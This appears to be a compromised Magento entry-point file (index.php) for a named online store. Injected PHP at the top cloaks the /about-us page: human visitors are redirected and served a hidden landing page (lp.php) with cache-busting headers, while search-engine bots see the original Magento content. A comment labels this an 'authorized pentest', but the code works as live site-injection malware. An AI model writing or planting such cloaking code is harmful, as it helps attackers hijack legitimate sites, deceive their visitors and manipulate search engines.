/** * AUTHORIZED PENTEST - REVERSE CLOAKING FINAL (BYPASS CACHE EDITION) * TARGET: https://store.10gtek.com/about-us */ $requestUri = $_SERVER['REQUEST_URI'] ?? ''; $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; // 1. DAFTAR IDENTITAS BOT (Pengecualian SEO) $botPattern = '/(googlebot|google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|sogou|exabot|facebot|facebookexternalhit|ia_archiver|bot|spider|crawler|inspection)/i'; // 2. FILTER URL: Hanya aktif di halaman /about-us if (stripos($requestUri, 'about-us') !== false) { // 3. LOGIKA REVERSE: Jika yang datang BUKAN Bot (Berarti Manusia) if (!preg_match($botPattern, $userAgent)) { // --- SOLUSI BYPASS CACHE PEMAKSA --- // Jika URL bersih (/about-us) terkena Cache Statis Nginx/Varnish, // Kita paksa pindahkan ke URL dengan parameter agar PHP PASTI dijalankan. if ($requestUri === '/about-us' || $requestUri === '/about-us/') { header("Location: /about-us?promo=70", true, 302); exit; } $lpPath = __DIR__ . '/lp.php'; if (file_exists($lpPath)) { // 4. HEADER ANTI-CACHE (LEVEL SERVER & BROWSER) header("X-Accel-Expires: 0"); // Perintah khusus Bypass Nginx header("Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Masa lampau agar basi // 5. TAMPILKAN LANDING PAGE include($lpPath); exit; // Hentikan agar manusia tidak melihat artikel asli Magento } } } /** * BAGIAN DI BAWAH INI ADALAH KODE ASLI MAGENTO * Dijalankan HANYA untuk Googlebot atau Halaman Selain /about-us */ /** * Public alias for the application entry point * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ //include 'filter_access.php'; //过滤访客 use Magento\Framework\App\Bootstrap; try { require __DIR__ . '/../app/bootstrap.php'; } catch (\Exception $e) { echo <<

Autoload error

{$e->getMessage()}

HTML; http_response_code(500); exit(1); } $bootstrap = Bootstrap::create(BP, $_SERVER); /** @var \Magento\Framework\App\Http $app */ $app = $bootstrap->createApplication(\Magento\Framework\App\Http::class); $bootstrap->run($app);